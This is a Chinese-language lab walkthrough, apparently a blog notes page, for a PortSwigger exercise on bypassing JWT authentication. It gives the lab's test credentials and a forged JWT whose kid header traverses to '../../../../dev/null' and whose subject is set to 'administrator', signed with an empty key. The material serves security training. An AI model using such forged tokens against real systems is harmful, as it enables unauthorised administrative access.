从业者-kid标头路径遍历
# 实验室:通过kid标头路径遍历绕过JWT身份验证
# 题目
此实验室使用基于 JWT 的机制来处理会话。为了验证签名,服务器会通过 JWT 标头中的kid
参数来从本地文件系统中获取相关密钥。
若要解决实验室问题,请伪造一个 JWT,然后访问位于/admin
的管理面板并删除carlos
用户。
你可以使用以下凭据登录到自己的帐户:wiener
:peter
。
提示
在尝试此实验之前,我们建议你先熟悉一下如何在 BurpSuite 中使用 JWTs (opens new window)。
- name: 实验室-从业者
desc: 通过kid标头路径遍历绕过JWT身份验证 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
{
"kid": "aa7c1813-96d1-46e2-a1fa-7ebe6e5b08e9",
"alg": "HS256"
}
{
"iss": "portswigger",
"exp": 1708263940,
"sub": "wiener"
}
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
# 目录遍历指向空文件,并使用空密钥对JWTs进行签名
{
"kid": "../../../../dev/null",
"alg": "HS256"
}
{
"iss": "portswigger",
"exp": 1708263940,
"sub": "administrator"
}
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
编辑 (opens new window)